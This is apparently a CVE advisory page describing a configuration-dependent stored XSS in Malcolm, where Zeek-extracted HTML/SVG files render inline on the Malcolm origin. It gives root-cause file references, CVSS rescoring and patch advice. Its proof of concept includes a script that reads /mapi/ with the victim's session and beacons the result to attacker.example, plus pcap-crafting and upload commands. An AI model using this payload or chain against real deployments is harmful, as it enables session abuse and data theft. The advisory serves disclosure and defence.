CVE-2026-131908
NVD
Vulnerability Summary
Summary Zeek writes HTTP response bodies to disk using a filename extension derived from the advertised MIME type (text/html → .html, image/svg+xml → .svg). The filescan HTTP server serves ordinary extracted files inline — with Content-Type guessed from the filename and no Content-Disposition — when FILESCAN_HTTP_SERVER_ZIP=false and FILESCAN_HTTP_SERVER_KEY is empty. The main nginx CSP sets only frame-ancestors/base-uri/form-action, with no script-src restriction, so an inline script in an extracted HTML/SVG file executes on the Malcolm origin in the session of any user who opens /extracted-files/.... This finding is configuration-dependent and is not exploitable in the shipped defaults. ZEEK_EXTRACTOR_MODE=none disables extraction by default, and FILESCAN_HTTP_SERVER_ZIP=true / FILESCAN_HTTP_SERVER_KEY=infected return normal files as a ZIP or encrypted attachment instead of rendering inline. Exploitation requires an administrator to enable extraction of active content, disable ZIP, clear the encryption key, and retain the extracted file. Originally scored High (8.7); revised to Medium (6.4) on 2026-11-03 — AC:L→AC:H because exploitation depends on this non-default configuration, and S:C→S:U because the extracted content and targeted APIs share the same origin/authorization boundary. This report is based on static analysis assisted by AI tooling; no live Malcolm/Zeek stack was deployed, so the extracted filename and end-to-end rendering were not executed. Details ``` zeek/config/extractor.zeek:24-33 decides whether to extract based on ZEEK_EXTRACTOR_MODE mapped, known, all -> extracts text/html and image/svg+xml notcommtxt -> excludes text/html but not image/svg+xml none (default) -> extraction disabled interesting (recommended) -> does not map HTML/SVG zeek/config/extractor.zeek:61 filename format: "%s-%s-%s-%s.%s" (source, file id, connection uid, time, extension) zeek/config/extractor_params.zeek:868 text/html -> html zeek/config/extractor_params.zeek:806 image/svg+xml -> svg filescan/scripts/extracted_files_http_server.py:465 serves normal files as a ZIP when args.zip is true (default) filescan/scripts/extracted_files_http_server.py:476 when zip is false and args.key is non-empty, encrypts the download filescan/scripts/extracted_files_http_server.py:503 inline branch: "original file, unencrypted" filescan/scripts/extracted_files_http_server.py:507 self.send_header("Content-type", self.guess_type(fullpath)) no Content-Disposition header sent nginx/nginx.conf:174 location ~ ^/extracted-files\b(.) { ... proxy_pass to filescan HTTP server ... } nginx/nginx_csp_framing.conf:2 add_header Content-Security-Policy "frame-ancestors 'self'; base-uri 'self'; form-action 'self'"; No script-src or default-src restriction. Shipped defaults (confirmed non-exploitable): config/filescan.env.example:8 FILESCAN_HTTP_SERVER_ZIP=true FILESCAN_PRESERVATION=quarantined config/filescan-secret.env.example:4 FILESCAN_HTTP_SERVER_KEY=infected config/zeek.env.example:19 ZEEK_EXTRACTOR_MODE=none ``` Proof of concept nvironment: Malcolm v26.10.0, with extraction enabled for active content, ZIP disabled, encryption key cleared, and preservation set to retain the file (all preconditions below required). Preconditions ``` 1. ZEEK_EXTRACTOR_MODE=mapped (or known/all) — extracts text/html or image/svg+xml 2. FILESCAN_HTTP_SERVER_ZIP=false 3. FILESCAN_HTTP_SERVER_KEY= (empty) 4. FILESCAN_PRESERVATION=all (or payload evades the scanner under quarantined) 5. Attacker has ROLE_UPLOAD or ROLE_READ_WRITE_ACCESS; victim has extracted-files access ``` 1. Create the payload (payload.html): ``` html <!doctype html><meta charset="utf-8"><script> (async () => { const out = {}; try { const r = await fetch('/mapi/', {credentials: 'include'}); out.mapi = {status: r.status, body: (await r.text()).slice(0, 2000)}; } catch (e) { out.mapi = String(e); } navigator.sendBeacon('https://attacker.example/collect', new Blob([JSON.stringify(out)], {type: 'text/plain'})); })(); </script> ``` 2. Capture a real HTTP response carrying the payload (keeps the TCP handshake and stream valid for Zeek to parse): ``` bash python3 -m http.server 8000 # serves payload.html sudo tcpdump -i any -s 0 -w malicious.pcap 'tcp port 8000' curl -s http://127.0.0.1:8000/payload.html >/dev/null stop tcpdump after the response is captured ``` 3. Upload the pcap: ``` bash curl -k -u upload_user:password -F 'filepond=@malicious.pcap' \ https://malcolm.example/server/php/ ``` (complete the second FilePond commit request in the UI if the deployment requires it) 4. Locate the extracted file and deliver its URL to a signed-in victim: ``` https://malcolm.example/extracted-files/http-<file_id>-<uid>-<timestamp>.html ``` The browser renders the file on the Malcolm origin, executes the script, and reads same-origin APIs with the victim’s session cookies. Full chain not run against a live Malcolm/Zeek stack — this is a source-level finding; the extracted filename format and end-to-end rendering were not confirmed in a live run. Default-configuration negative test: ``` ZEEK_EXTRACTOR_MODE=none → nothing is extracted FILESCAN_HTTP_SERVER_ZIP=true → file returned as application/zip attachment FILESCAN_HTTP_SERVER_KEY=infected → file encrypted when ZIP is false ``` On shipped defaults, the browser never renders the extracted file inline — not exploitable out of the box. Impact - Stored XSS executing in an authenticated user's session on the Malcolm origin. - Attacker can read same-origin OpenSearch/Dashboards data and perform actions as the victim via /mapi and other same-origin APIs. - Requires an upload-capable attacker account and a victim who opens the extracted-file URL. - Not exploitable in the shipped default configuration; requires an administrator to enable extraction of active content, disable ZIP, clear the encryption key, and retain the file. - Not server-side RCE, not an authentication bypass.
CVSS v3.1 Base Metrics — Score 6.4
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:NAttack VectorNetwork
Attack ComplexityHigh
Privileges RequiredLow
User InteractionRequired
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- Malcolm <= v26.10.0
- Malcolm v26.12.0
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run Malcolm and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Dec 4, 2026Published
- Dec 4, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new Malcolm CVEsYou are reading CVE-2026-131908. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Dec 5, 2026 02:01 UTC